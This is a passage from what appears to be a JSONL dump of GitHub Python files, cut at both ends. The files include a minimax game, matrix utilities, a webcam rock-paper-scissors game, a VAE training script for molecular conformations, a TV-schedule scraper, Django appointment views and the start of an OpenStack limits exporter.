print(randomMove)\n return randomMove\n\n def playRandomVsMiniMax(self):\n\n self.gameBoard.printBoard()\n #self.gameStatus() -> True = movement is possible\n #self.gameStatus() -> False = no movement is possible\n\n howManyMoves = 0\n while True:\n if self.gameStatus() == False:\n if self.actualPlayer == self.MIN:\n print(\"Wygrana gracza:\", self.MAX)\n print(\"howManyMoves: \", howManyMoves)\n return 3, howManyMoves\n else:\n print(\"Wygrana gracza:\", self.MIN)\n print(\"howManyMoves: \", howManyMoves)\n return 2, howManyMoves\n\n if self.actualPlayer == self.MAX:\n vector1 = self.inWhichWayGo(self.gameBoard, self.actualPlayer, 4)\n #print(vector1)\n self.actualPlayer.move(self.gameBoard, vector1[0], vector1[1])\n howManyMoves += 1\n\n if self.actualPlayer == self.MIN:\n vector2 = self.chooseRandomMove()\n self.actualPlayer.move(self.gameBoard, vector2[0], vector2[1])\n howManyMoves += 1\n\n self.gameBoard.printBoard()\n self.switchPlayer()\n\n def playMiniMaxVsMiniMax(self):\n\n self.gameBoard.printBoard()\n\n howManyMoves = 0\n while True:\n if self.gameStatus() == False:\n if self.actualPlayer == self.MIN:\n print(\"Wygrana gracza:\", self.MAX)\n print(\"howManyMoves: \", howManyMoves)\n return 3, howManyMoves\n else:\n print(\"Wygrana gracza:\", self.MIN)\n print(\"howManyMoves: \", howManyMoves)\n return 2, howManyMoves\n\n if self.actualPlayer.symbol == 3:\n vector1 = self.inWhichWayGo(self.gameBoard, self.actualPlayer, 3)\n print(vector1)\n self.actualPlayer.move(self.gameBoard, vector1[0], vector1[1])\n howManyMoves += 1\n\n if self.actualPlayer.symbol == 2:\n vector2 = self.inWhichWayGo(self.gameBoard, self.actualPlayer, 2)\n print(vector2)\n self.actualPlayer.move(self.gameBoard, vector2[0], vector2[1])\n howManyMoves += 1\n\n self.gameBoard.printBoard()\n self.switchPlayer()\n","repo_name":"bjasinsk/Introduction-to-Artificial-Intelligence","sub_path":"lab-3/Game.py","file_name":"Game.py","file_ext":"py","file_size_in_byte":7777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"31957561753","text":"# ENGR2050_02_jasayles.py\n# Ethan Sayles\n# Feb 02, 2017\n\n#Function to return a specific row of a given matrix.\ndef Row_Grab(matrix,row): #row is the non-programming understanding of row\n return matrix[row-1]\n\n#Funtion to return a specific column of a given matrix.\ndef Column_Grab(matrix,column): #column is the non-programming understanding of column\n col = [] #List to hold the given column of matrix\n for x in matrix:\n col.append(x[column-1])\n return col\n\n#Funtion to return the forwards diagonal of a given matrix.\ndef Diagonal(matrix): \n D_matrix=[] #Matrix to hold the diagonal of matrix\n if len(matrix) != len(matrix[0]): #Check if matrix is square\n return None\n else:\n for x in range(len(matrix)):\n D_matrix.append(matrix[x][x])\n return D_matrix\n\n#Funtion to return the backwards diagonal of a given matrix.\ndef R_Diagonal(matrix):\n RD_matrix=[] #Matrix to hold the reverse diagonal of matrix \n if len(matrix) != len(matrix[0]): #Check if matrix is square\n return None\n else:\n for x in range(len(matrix)):\n RD_matrix.append(matrix[x][-x-1])\n return RD_matrix\n\n#Funtion to return the transpose of a given matrix.\ndef Transpose(matrix): \n T_matrix = [] #Matrix to hold the transpose of matrix\n for x in range(1,len(matrix)+1): #Make the columns of matrix be the rows of T_matrix \n T_matrix.append(Column_Grab(matrix,x))\n return T_matrix\n\n#Conditional to check for test cases\nif __name__ == '__main__':\n Matrix = [[1,-2,-1,2],[5,11,3,0],[7,2,1,5],[8,7,-2,1]]\n print (Row_Grab(Matrix,2))\n print (Column_Grab(Matrix,2))\n print (Diagonal(Matrix))\n print (R_Diagonal(Matrix))\n print (Transpose(Matrix))\n","repo_name":"luna-sayles/engr-2050-project-2-spring-2017","sub_path":"ENGR2050_02_jasayles.py","file_name":"ENGR2050_02_jasayles.py","file_ext":"py","file_size_in_byte":1923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"32082966749","text":"from tkinter import *\nimport cv2\nimport random\nfrom PIL import ImageTk, Image\nimport numpy as np\nimport math\nfrom cv2 import FONT_HERSHEY_SIMPLEX\n\n#Defining Result Window\ndef startGame(yr_choice, dev_choice, result):\n your_choice = Label(win, text=\"Your Choice:\", font=(\"Times\", \"20\", \"underline\"), fg=\"blue\", bg=\"lemon chiffon\")\n your_choice.pack()\n your_choice.place(x=65, y=65)\n device_choice = Label(win, text=\"Device's Choice:\", font=(\"Times\", \"20\", \"underline\"), fg=\"blue\", bg=\"lemon chiffon\")\n device_choice.pack()\n device_choice.place(x=490, y=65)\n paper_path = \"/Users/deepasharma/Downloads/Computer Vision/RockPaperScissor/paper.jpeg\"\n rock_path = \"/Users/deepasharma/Downloads/Computer Vision/RockPaperScissor/rock.jpeg\"\n scissor_path = \"/Users/deepasharma/Downloads/Computer Vision/RockPaperScissorrock.jpeg\"\n if str(yr_choice) == \"Paper\":\n path = paper_path\n image1 = Image.open(path)\n test = ImageTk.PhotoImage(image1)\n label1 = Label(image=test)\n label1.image = test\n label1.pack()\n label1.place(x=50, y=100)\n if str(yr_choice) == \"Rock\":\n path = rock_path\n image1 = Image.open(path)\n test = ImageTk.PhotoImage(image1)\n label1 = Label(image=test)\n label1.image = test\n label1.pack()\n label1.place(x=50, y=100)\n if str(yr_choice) == \"Scissor\":\n path = scissor_path\n image1 = Image.open(path)\n test = ImageTk.PhotoImage(image1)\n label1 = Label(image=test)\n label1.image = test\n label1.pack()\n label1.place(x=50, y=100)\n if str(dev_choice) == \"Paper\":\n path = paper_path\n image1 = Image.open(path)\n test = ImageTk.PhotoImage(image1)\n label1 = Label(image=test)\n label1.image = test\n label1.pack()\n label1.place(x=485, y=100)\n if str(dev_choice) == \"Rock\":\n path = rock_path\n image1 = Image.open(path)\n test = ImageTk.PhotoImage(image1)\n label1 = Label(image=test)\n label1.image = test\n label1.pack()\n label1.place(x=485, y=100)\n if str(dev_choice) == \"Scissor\":\n path = scissor_path\n image1 = Image.open(path)\n test = ImageTk.PhotoImage(image1)\n label1 = Label(image=test)\n label1.image = test\n label1.pack()\n label1.place(x=485, y=100)\n canvas = Canvas(win,height=40,width=137,bg=\"#fff\")\n canvas.pack()\n canvas.place(x=322, y=347)\n final_result = Label(win, text=result, font=(\"Times\", \"20\"), fg=\"tomato\", bg=\"lemon chiffon\")\n final_result.pack()\n final_result.place(x=350, y=350)\n#Create Game Window\ndef postureDetection():\n cap = cv2.VideoCapture(0)\n while (cap.isOpened()):\n ret,img = cap.read()\n final = []\n # Computer choices\n choices = [\"Rock\", \"Paper\", \"Scissor\"]\n comp_choice = random.choice(choices)\n\n # Create sub window in screen\n cv2.rectangle(img, (500, 500), (200, 200), (0, 255, 0), 0)\n crop_img = img[200:500, 200:500]\n\n # Convert image to gray scale\n gray = cv2.cvtColor(crop_img, cv2.COLOR_BGR2GRAY)\n\n # applying Gaussian blur\n value = (35, 35)\n blurred = cv2.GaussianBlur(gray, value, 0)\n\n # Thresholding\n _, thresh1 = cv2.threshold(blurred, 127, 255, cv2.THRESH_BINARY_INV + cv2.THRESH_OTSU)\n\n # Show thresholded image\n cv2.imshow('Thresholded', thresh1)\n\n # check OpenCV version to avoid unpacking error\n (version, _, _) = cv2.__version__.split('.')\n\n if version == '3':\n image, contours, hieraracy = cv2.findContours(thresh1.copy(), \\\n cv2.RETR_TREE, cv2.CHAIN_APPROX_NONE)\n elif version == '4':\n contours, hieraracy = cv2.findContours(thresh1.copy(), cv2.RETR_TREE, \\\n cv2.CHAIN_APPROX_NONE)\n\n # find contour with max area\n cnt = max(contours, key=lambda x: cv2.contourArea(x))\n\n # Create bounding reactangle around the contour\n x, y, w, h = cv2.boundingRect(cnt)\n cv2.rectangle(crop_img, (x, y), (x + w, y + h), (0, 0, 255), 0)\n\n # approx the contour a little\n epsilon = 0.0005 * cv2.arcLength(cnt, True)\n approx = cv2.approxPolyDP(cnt, epsilon, True)\n\n # finding convex hull\n hull = cv2.convexHull(cnt)\n\n # define area of hull and area of hand\n areahull = cv2.contourArea(hull)\n areacnt = cv2.contourArea(cnt)\n\n # find the percentage of area not covered by convex hull\n arearatio = ((areahull - areacnt) / areacnt) * 100\n\n # drawing contours\n drawing = np.zeros(crop_img.shape, np.uint8)\n cv2.drawContours(drawing, [cnt], 0, (0, 255, 0), 0)\n cv2.drawContours(drawing, [hull], 0, (0, 0, 255), 0)\n\n # finding convex hull\n hull = cv2.convexHull(cnt, returnPoints=False)\n\n # finding convexity defects\n defects = cv2.convexityDefects(cnt, hull)\n # print(defects)\n count_defects = 0\n cv2.drawContours(thresh1, contours, -1, (0, 255, 0), 3)\n\n if defects is None:\n continue\n\n # applying Cosine Rule to find angle for all defects(between fingers)\n # with angle>90 degree and ignore defects\n for i in range(defects.shape[0]):\n s, e, f, d = defects[i, 0]\n start = tuple(cnt[s][0])\n end = tuple(cnt[e][0])\n far = tuple(cnt[f][0])\n\n # find length of all sides of triangle\n a = math.sqrt((end[0] - start[0]) ** 2 + (end[1] - start[1]) ** 2)\n b = math.sqrt((far[0] - start[0]) ** 2 + (far[1] - start[1]) ** 2)\n c = math.sqrt((end[0] - far[0]) ** 2 + (end[1] - far[1]) ** 2)\n s = (a + b + c) / 2\n ar = math.sqrt(s * (s - a) * (s - b) * (s - c))\n\n # distance between point and convex hull\n d = (2 * ar) / a\n\n # apply cosine rule here\n angle = math.acos((b ** 2 + c ** 2 - a ** 2) / (2 * b * c)) * 57\n\n # ignore angle>90 and highlight rest red dots\n if angle <= 90 and d > 30:\n count_defects += 1\n cv2.circle(crop_img, far, 1, [0, 0, 225], -1)\n\n cv2.line(crop_img, start, end, [0, 255, 0], 2)\n\n # show appropriate image in window\n cv2.imshow('Gesture', img)\n all_img = np.hstack((drawing, crop_img))\n cv2.imshow('Contours', all_img)\n # cv2.waitKey(100)\n\n if areacnt < 20000 and count_defects == 0:\n user_choice = \"Rock\"\n if str(user_choice) == str(comp_choice):\n final.append(\"Game Draw\")\n else:\n if str(comp_choice) == \"Paper\":\n final.append(\"You Loose\")\n if str(comp_choice) == \"Scissor\":\n # print(\"You Win\")\n final.append(\"You Win\")\n if user_choice in choices:\n startGame(user_choice, comp_choice, final[0])\n else:\n break\n \n \n\n elif count_defects<3 or arearatio>30:\n user_choice = \"Scissor\"\n if str(user_choice) == str(comp_choice):\n final.append(\"Game Draw\")\n else:\n if str(comp_choice) == \"Rock\":\n final.append(\"You Loose\")\n if str(comp_choice) == \"Paper\":\n final.append(\"You Win\")\n\n if user_choice in choices:\n startGame(user_choice, comp_choice, final[0])\n else:\n break\n \n \n\n\n elif count_defects > 2 or arearatio >10:\n user_choice = \"Paper\"\n if str(user_choice) == str(comp_choice):\n final.append(\"Game Draw\")\n else:\n if str(comp_choice) == \"Rock\":\n final.append(\"You Win\")\n if str(comp_choice) == \"Scissor\":\n final.append(\"You Loose\")\n if user_choice in choices:\n startGame(user_choice, comp_choice, final[0])\n else:\n break\n\n # k = cv2.waitKey(10)\n # if k == 27:\n # breakpoint\n\n cv2.destroyAllWindows()\n cap.release() \n\nwin = Tk()\nwin.geometry('720x500')\nwin.title(\"Rock Paper Scissor's Game\")\nwin.configure(bg='light blue')\nwin.resizable(False, False)\nwin.iconbitmap('Brand-Logo-Icon.ico')\n#App Name\nappLabel = Label(win, text=\"Rock Paper Scissor\", font=(\"Times\", \"35\", \"bold italic\"), fg=\"dark blue\", bg='lightblue', anchor=CENTER) #Label for Appname\nappLabel.pack() #Packs appLabel\nappLabel.place(x=50,y=5) #Position for appLabel\n#Start Button\nstart_button = Button(win, text=\"Start Game\", fg='green', bg='yellow', font=(\"Helvetica\", \"15\", \"italic\"), bd='3', command=postureDetection) #Creates Add Contact Button\nstart_button.place(x=310,y=175) #Position add_button\nwin.mainloop()","repo_name":"shdeepa/Rockpaperscissors","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9035,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"13579150851","text":"import glob\nimport math\nimport argparse\nimport numpy as np\nimport tensorflow as tf\nimport tensorflow.keras.backend as K\nfrom tensorflow import keras\nfrom tensorflow.keras import Model\nfrom tensorflow.keras import callbacks\nfrom multiprocessing import freeze_support\nfrom test_conf_gen import compute_cov_mat, get_conformation_samples\nfrom src.embed_utils import get_g_net, get_gdr_net, get_decode_net\nfrom src.misc_utils import create_folder, align_conf, tf_contriod\nfrom src.CONSTS import (MAX_NUM_ATOMS, FEATURE_DEPTH, BATCH_SIZE, VAL_BATCH_SIZE,\n MIN_KL_WEIGHT, MAX_KL_WEIGHT, MAX_EPOCH, Q_PERIOD)\n\nnp.set_printoptions(threshold=np.inf)\nnp.set_printoptions(linewidth=1000)\n\ngpus = tf.config.experimental.list_physical_devices('GPU')\nif gpus:\n try:\n for gpu in gpus:\n tf.config.experimental.set_memory_growth(gpu, True)\n except RuntimeError as e:\n print(e)\n\n\ndef get_mertcis():\n kl = keras.metrics.Mean(name=\"kl_loss\")\n r_rmsd = keras.metrics.Mean(name=\"r_rmsd\")\n return kl, r_rmsd\n\n\ndef core_model():\n inputs = keras.layers.Input(\n shape=(MAX_NUM_ATOMS, MAX_NUM_ATOMS, FEATURE_DEPTH + 4))\n mask = tf.reduce_sum(tf.abs(inputs), axis=-1)\n mask = tf.reduce_sum(mask, axis=1, keepdims=True) <= 0\n mask = tf.expand_dims(mask, axis=1)\n mask = tf.cast(mask, tf.float32)\n z_mean, z_log_var, z = gdr_net(inputs)\n h = g_net(inputs[..., :-4])\n r_pred = dec_net([h, mask, z])\n return inputs, z_mean, z_log_var, r_pred\n\n\ndef loss_func_r(y_true, y_pred):\n # [B,N,1]\n mask = tf.cast(tf.reduce_sum(tf.abs(y_true), axis=-\n 1, keepdims=True) > 0, tf.float32)\n y_pred *= mask\n Rot = tf.stop_gradient(tf.py_function(align_conf,\n inp=[y_pred, y_true, mask],\n Tout=tf.float32))\n QC = tf_contriod(y_true, mask)\n PC = tf_contriod(y_pred, mask)\n y_pred_m = (y_pred - PC) * mask\n y_pred_aligned = (tf.matmul(y_pred_m, Rot) + QC) * mask\n total_row = tf.reduce_sum(mask, axis=[1, 2])\n loss = tf.math.squared_difference(y_pred_aligned, y_true)\n loss = tf.reduce_sum(loss, axis=[1, 2]) / total_row\n # [BATCH,]\n loss = tf.math.sqrt(loss)\n return loss\n\n\ndef loss_func_kl(z_mean, z_logvar):\n # [batch_size, num_atoms, d_model]\n kl_loss = -0.5 * (1 + z_logvar - tf.square(z_mean) - tf.exp(z_logvar))\n kl_loss = tf.reduce_sum(kl_loss, axis=[1, 2])\n return kl_loss\n\n\nclass WarmDecay(tf.keras.optimizers.schedules.LearningRateSchedule):\n def __init__(self, warmup_steps=4000):\n super(WarmDecay, self).__init__()\n self.d_model = 9612\n self.d_model = tf.cast(self.d_model, tf.float32)\n\n self.warmup_steps = warmup_steps\n\n def __call__(self, step):\n fp_step = tf.cast(step, tf.float32)\n arg1 = tf.math.rsqrt(fp_step)\n arg2 = fp_step * (self.warmup_steps ** -1.5)\n\n return tf.math.rsqrt(self.d_model) * tf.math.minimum(arg1, arg2)\n\n\ndef get_optimizer():\n opt_op = tf.keras.optimizers.Adam(learning_rate=WarmDecay(), clipnorm=1)\n return opt_op\n\n\ndef get_metrics():\n kl = tf.keras.metrics.Mean(name=\"kl_loss\")\n r_rmsd = tf.keras.metrics.Mean(name=\"r_rmsd\")\n return kl, r_rmsd\n\n\ndef cosine_cycle(x):\n r = MAX_KL_WEIGHT - MIN_KL_WEIGHT\n if x <= Q_PERIOD:\n y = r * (1 - np.cos(math.pi * x / Q_PERIOD)) / 2 + MIN_KL_WEIGHT\n else:\n y = MAX_KL_WEIGHT\n return y\n\n\ndef step_increment(x):\n pw = x // Q_PERIOD\n y = MIN_KL_WEIGHT * np.power(2, pw)\n if y > MAX_KL_WEIGHT:\n y = MAX_KL_WEIGHT\n return y\n\n\nclass WeightAdjuster(callbacks.Callback):\n def __init__(self, weight, change_epoch):\n \"\"\"\n Args:\n weights (list): list of loss weights\n change_epoch (int): epoch number for weight change\n \"\"\"\n self.kl_weight = weight\n self.change_epoch = change_epoch\n self.train_iter = 0\n\n def on_epoch_begin(self, epoch, logs={}):\n # Updated loss weights\n # set_value = cosine_cycle(self.train_iter % self.change_batch)\n set_value = step_increment(epoch)\n K.set_value(self.kl_weight, set_value)\n self.train_iter += 1\n\n\nclass TransVAE(Model):\n def compile(self, optimizer, metrics, kl_weight):\n super(TransVAE, self).compile()\n self.optimizer = optimizer\n self.kl = metrics[0]\n self.r_rmsd = metrics[1]\n self.kl_weight = kl_weight\n\n def train_step(self, data):\n X = data[0]\n r_true = data[1]\n\n # capture the scope of gradient\n with tf.GradientTape() as tape:\n z_mean, z_log_var, r_pred = self(X, training=True)\n kl_loss = loss_func_kl(z_mean, z_log_var)\n rec_loss = loss_func_r(r_true, r_pred)\n loss = self.kl_weight * kl_loss + rec_loss\n\n # Compute gradients\n trainable_vars = self.trainable_variables\n gradients = tape.gradient(loss, trainable_vars)\n\n # Update weights\n self.optimizer.apply_gradients(zip(gradients, trainable_vars))\n\n self.kl.update_state(kl_loss)\n self.r_rmsd.update_state(rec_loss)\n return {\"kl_loss\": self.kl.result(),\n \"r_rmsd\": self.r_rmsd.result(),\n \"kl_weight\": self.kl_weight}\n\n def test_step(self, data):\n X = data[0]\n r_true = data[1]\n z_mean, z_log_var, r_pred = self(X, training=False)\n kl_loss = loss_func_kl(z_mean, z_log_var)\n rec_loss = loss_func_r(r_true, r_pred)\n self.kl.update_state(kl_loss)\n self.r_rmsd.update_state(rec_loss)\n return {\"kl_loss\": self.kl.result(),\n \"r_rmsd\": self.r_rmsd.result()}\n\n @property\n def metrics(self):\n # We need to list our metrics here so the `reset_states()` can be\n # called automatically.\n return [self.kl, self.r_rmsd]\n\n\ndef data_iterator_train():\n num_files = len(glob.glob(train_path + 'GDR_*.npz'))\n batch_nums = np.arange(num_files)\n np.random.shuffle(batch_nums)\n while True:\n np.random.shuffle(batch_nums)\n for batch in batch_nums:\n f_name = train_path + f'GDR_{batch}.npz'\n GDR = np.load(f_name)\n G = GDR['G']\n R = GDR['R']\n yield G, R\n\n\ndef data_iterator_val():\n num_files = len(glob.glob(val_path + 'GDR_*.npz'))\n batch_nums = np.arange(num_files)\n while True:\n np.random.shuffle(batch_nums)\n for batch in batch_nums:\n f_name = val_path + f'GDR_{batch}.npz'\n GDR = np.load(f_name)\n G = GDR['G']\n R = GDR['R']\n yield G, R\n\n\ndef data_iterator_test():\n num_files = len(glob.glob(test_path + 'GDR_*.npz'))\n batch_nums = np.arange(num_files)\n for batch in batch_nums:\n f_name = test_path + f'GDR_{batch}.npz'\n GDR = np.load(f_name)\n G = GDR['G']\n R = GDR['R']\n yield G, R\n\n\ndef _fixup_shape(x, y):\n x.set_shape([None, MAX_NUM_ATOMS, MAX_NUM_ATOMS, FEATURE_DEPTH + 4])\n y.set_shape([None, MAX_NUM_ATOMS, 3])\n return x, y\n\n\nif __name__ == \"__main__\":\n freeze_support()\n\n parser = argparse.ArgumentParser()\n parser.add_argument('--train', type=str, default='true')\n parser.add_argument('--train_path', type=str,\n default='/mnt/raw_data/transvae/train_data/train_batch/')\n parser.add_argument('--val_path', type=str,\n default='/mnt/raw_data/transvae/test_data/val_batch/')\n parser.add_argument('--test_path', type=str,\n default='/mnt/raw_data/transvae/test_data/test_batch/')\n parser.add_argument('--ckpt_path', type=str,\n default='checkpoints/TensorVAE_1M_random/')\n parser.add_argument('--logdir', type=str, default='./logs')\n args = parser.parse_args()\n\n ckpt_path = args.ckpt_path\n create_folder(ckpt_path)\n create_folder(\"dec_net\")\n create_folder(\"gdr_net\")\n create_folder(\"g_net\")\n train_path = args.train_path\n val_path = args.val_path\n test_path = args.test_path\n\n train_steps = len(glob.glob(train_path + 'GDR_*.npz')) // BATCH_SIZE\n val_steps = len(glob.glob(val_path + 'GDR_*.npz')) // VAL_BATCH_SIZE\n\n # get models\n g_net = get_g_net()\n gdr_net = get_gdr_net()\n dec_net = get_decode_net()\n\n # callbacks\n kl_weight = K.variable(MIN_KL_WEIGHT)\n kl_weight._trainable = False\n weight_adjuster = WeightAdjuster(kl_weight, 20)\n callbacks = [tf.keras.callbacks.ModelCheckpoint(ckpt_path,\n save_freq=1000,\n save_weights_only=True),\n tf.keras.callbacks.TensorBoard(\n args.logdir, update_freq=10),\n weight_adjuster]\n\n # compile model\n X, z_mean, z_log_var, r_pred = core_model()\n transvae = TransVAE(inputs=X, outputs=[z_mean, z_log_var, r_pred])\n optimizer = get_optimizer()\n transvae.compile(optimizer=get_optimizer(),\n metrics=get_metrics(), kl_weight=kl_weight)\n transvae.summary()\n\n try:\n transvae.load_weights(ckpt_path)\n except:\n print('no exitsing model detected, training starts afresh')\n args.train = 'true'\n pass\n\n if args.train == 'true':\n train_dataset = tf.data.Dataset.from_generator(\n data_iterator_train,\n output_types=(tf.float32, tf.float32),\n output_shapes=((MAX_NUM_ATOMS, MAX_NUM_ATOMS, FEATURE_DEPTH + 4),\n (MAX_NUM_ATOMS, 3)))\n\n train_dataset = train_dataset.shuffle(buffer_size=1000, seed=0,\n reshuffle_each_iteration=True)\n train_dataset = train_dataset.batch(\n BATCH_SIZE, drop_remainder=True).map(_fixup_shape)\n train_dataset = train_dataset.prefetch(tf.data.experimental.AUTOTUNE)\n\n val_dataset = tf.data.Dataset.from_generator(\n data_iterator_val,\n output_types=(tf.float32, tf.float32),\n output_shapes=((MAX_NUM_ATOMS, MAX_NUM_ATOMS, FEATURE_DEPTH + 4),\n (MAX_NUM_ATOMS, 3)))\n val_dataset = val_dataset.batch(\n VAL_BATCH_SIZE, drop_remainder=True).map(_fixup_shape)\n val_dataset = val_dataset.prefetch(tf.data.experimental.AUTOTUNE)\n\n test_dataset = tf.data.Dataset.from_generator(\n data_iterator_test,\n output_types=(tf.float32, tf.float32),\n output_shapes=((MAX_NUM_ATOMS, MAX_NUM_ATOMS, FEATURE_DEPTH + 4),\n (MAX_NUM_ATOMS, 3)))\n test_dataset = test_dataset.batch(\n VAL_BATCH_SIZE, drop_remainder=True).map(_fixup_shape)\n test_dataset = test_dataset.prefetch(tf.data.experimental.AUTOTUNE)\n\n transvae.fit(train_dataset,\n epochs=MAX_EPOCH,\n validation_data=val_dataset,\n validation_steps=val_steps,\n callbacks=callbacks,\n steps_per_epoch=train_steps)\n res = transvae.evaluate(test_dataset,\n return_dict=True)\n\n test_path = args.test_path\n compute_cov_mat(test_path + 'smiles.pkl', g_net, dec_net)\n get_conformation_samples(test_path + 'smiles.pkl', g_net, dec_net)\n\n # save trained model\n g_net.compile(optimizer='SGD', loss=None)\n g_net.save('g_net/' + 'GNet')\n gdr_net.compile(optimizer='adam', loss=None)\n gdr_net.save('gr_net/' + 'GDRNet')\n dec_net.compile(optimizer='adam', loss=None)\n dec_net.save('dec_net/' + 'DecNet')\n","repo_name":"yuh8/TensorVAE","sub_path":"train_test_conf_gen.py","file_name":"train_test_conf_gen.py","file_ext":"py","file_size_in_byte":11658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"5748350952","text":"#Pennies4Pay\n#6/20\n#CTI-110- M4HW2- PenniesForPay\n#MarquisMarshall\n#\n\ndaysWorked = int(input(\"Please enter how many days you worked:\"))\npayPerDay = 0.01\ntotalNumberOfPennies = 0\n \n\nprint(\"Day\\tSalary\\n----\\t-------\")\nfor currentDay in range( daysWorked):\n penniesForDay = 2 ** currentDay\n totalNumberOfPennies = totalNumberOfPennies + penniesForDay\n print( currentDay + 1, \"\\t\" , penniesForDay)\n\n\ntotalPay = totalNumberOfPennies * 0.01\n\nprint(\"\\nTotal pay: $\", totalPay + float(format( totalPay,\",.2f\")), sep =\"\")\n \n \n","repo_name":"MoneyMelow/cti110","sub_path":"M4HW2_Pennies_MarquisMarshall.py","file_name":"M4HW2_Pennies_MarquisMarshall.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"27620628090","text":"import scrapy\nimport datetime\n\n# TV Channel Cralwer\nclass ExampleSpider(scrapy.Spider):\n \n name = \"HYUNDAI\"\n\n # HYUNDAI\n start_date = '20190101'\n \n start_urls = [\n 'http://www.hyundaihmall.com/front/bmc/brodPordPbdv.do?date={}'.format(start_date)\n ]\n \n now_date = datetime.date(2019,1,1)\n end_date = datetime.date(2020,1,1)\n\n def parse(self, response):\n\n for tv in response.css('ul#brodListTop li'):\n if tv.css('p.time::text').get() == None:\n break\n yield {\n 'time' : str(ExampleSpider.now_date) + ' ' + str(tv.css('p.time::text').get()),\n 'category' : tv.css('span.host b::text').get(),\n 'title' : tv.css('p.prod_tit a::text').getall()\n }\n\n ExampleSpider.now_date += datetime.timedelta(days=1)\n\n if ExampleSpider.now_date == ExampleSpider.end_date:\n return\n yield scrapy.Request('http://www.hyundaihmall.com/front/bmc/brodPordPbdv.do?date={}'.format(str(ExampleSpider.now_date).replace('-','')), callback=self.parse)\n","repo_name":"devsosin/big_contest","sub_path":"Colect_Data/Colect_Data/spiders/hyundaicrawl.py","file_name":"hyundaicrawl.py","file_ext":"py","file_size_in_byte":1091,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"71555045915","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Sep 21 11:57:57 2023\r\n\r\n@author: Claudio\r\n\"\"\"\r\nimport os\r\n\r\ndef solve(s):\r\n #print(s.upper())\r\n string= [x for x in s] #add each character of the string to an array\r\n string[0]= string[0].upper() #convert the first letter to upper automatically\r\n for i in range(len(string)):\r\n if(string[i]==' '):\r\n string[(i+1)]=string[(i+1)].upper()\r\n string= ''.join(string)\r\n # print(string)\r\n return string\r\n \r\n \r\nif __name__ == '__main__':\r\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\r\n\r\n s = input()\r\n\r\n result = solve(s)\r\n\r\n fptr.write(result + '\\n')\r\n\r\n fptr.close()\r\n","repo_name":"erclaudio/Hackerrank-Problems","sub_path":"Capitalise/Capitalise.py","file_name":"Capitalise.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"17054923983","text":"from rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom appointment.models import Appointment\nfrom appointment.serializers import AppointmentSerializer\nfrom patients.models import Patient\nfrom otherusers.models import Doctor\n\n\n@api_view(['GET'])\ndef appointment_list(request, patient_email):\n patient = Patient.objects.get(patient_email=patient_email)\n appointments = Appointment.objects.filter(patient=patient)\n serializer = AppointmentSerializer(appointments, many=True)\n return Response(serializer.data)\n\n@api_view(['POST'])\ndef book_appointment(request, patient_email):\n patient = Patient.objects.get(patient_email=patient_email)\n patient_id = patient.patient_id\n\n doctor = request.data['doctor']\n timing = request.data['timing']\n reason = request.data['reason']\n total_price = request.data['total_price']\n\n appointment = Appointment.objects.create(patient_id=patient_id, doctor=doctor, timing=timing, reason=reason, total_price=total_price)\n appointment.save()\n serializer = AppointmentSerializer(appointment, many=False)\n return Response({\"status\": \"success\"})\n\n\n@api_view(['GET'])\ndef upcoming_appointments(request, doctor):\n appointments = Appointment.objects.filter(doctor=doctor)\n serializer = AppointmentSerializer(appointments, many=True)\n return Response(serializer.data)\n\n","repo_name":"Taraansh/hospitalBackend","sub_path":"appointment/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"11285024734","text":"from functools import reduce\nfrom time import sleep\n\nfrom openstack import connect\nfrom openstack.config import OpenStackConfig\nfrom prometheus_client import start_http_server\nfrom prometheus_client.core import GaugeMetricFamily, REGISTRY\n\n\n# metrics\n# openstack_limit_max{project_id=\"\", limit=\"cores\"}\n# openstack_limit_used{project_id=\"\", limit=\"cores\"}\n\nLIMITS = {\n 'max': {\n 'cores': 'max_total_cores',\n 'floating_ips': 'properties.maxTotalFloatingIps',\n 'instances': 'max_total_instances',\n 'ram': 'max_total_ram_size',\n 'security_groups': 'properties.maxSecurityGroups',\n 'server_groups': 'max_server_groups'\n },\n 'used': {\n 'cores': 'total_cores_used',\n 'floating_ips': 'properties.totalFloatingIpsUsed',\n 'instances': 'total_instances_used',\n 'ram': 'total_ram_used',\n 'security_groups': 'properties.totalSecurityGroupsUsed',\n 'server_groups': 'total_server_groups_used'\n }\n}\n\ndef rget(obj, key, *args):\n def _get(obj, key):\n return obj.get(key, *args)\n return reduce(_get, [obj] + key.split('.'))\n\nclass Connection():\n conn = None\n limits = None\n\n def __init__(self, name):\n self.conn = connect(cloud=name)\n self.new_compute_limits()\n\n def get_compute_limits(self):\n return self.limits\n\n def new_compute_limits(self):\n self.limits = self.conn.get_compute_limits().toDict()\n\n\nclass LimitCollector():\n conns = {}\n name = \"\"\n\n def __init__(self, conns, name, limits):\n self.conns = conns\n self.name = name\n self.limits = limits\n\n def collect(self):\n metric = GaugeMetricFamily(\n \"openstack_limit_%s\" % self.name,\n \"openstack limits %s in project\" % self.name,\n labels=[\"project_id\", \"limit\"]\n )\n\n for conn in self.conns:\n compute = conn.get_compute_limits()\n\n for limit in self.limits:\n metric.add_metric(\n [rget(compute, 'location.project.id'), limit],\n rget(compute, self.limits[limit])\n )\n\n yield metric\n\n\ndef start_server(port, interval, cloud_names):\n clouds = []\n if cloud_names is None:\n for cloud in OpenStackConfig().get_all():\n clouds.append(cloud.name)\n else:\n clouds = cloud_names.split(\",\")\n\n conns = []\n for cloud in 